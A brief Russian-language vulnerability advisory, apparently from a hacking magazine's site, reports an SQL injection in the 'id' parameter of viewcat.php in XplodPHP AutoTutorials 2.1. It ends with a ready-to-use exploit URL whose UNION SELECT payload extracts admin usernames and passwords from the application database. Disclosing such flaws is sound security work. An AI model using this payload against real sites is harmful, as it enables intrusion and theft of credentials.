Рекомендуем почитать:
Хакер #305. Многошаговые SQL-инъекции
Программа: XplodPHP AutoTutorials 2.1
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения. Уязвимость существует из-за недостаточной обработки входных данных в параметре «id» сценарием viewcat.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.
Эксплоит:
http://www.xxx.org/viewcat.php?id=10/**/union/**/select/* */null,user(),concat(username,0x3e,password),null,null,database(),null, null,null/**/from/**/admin/*
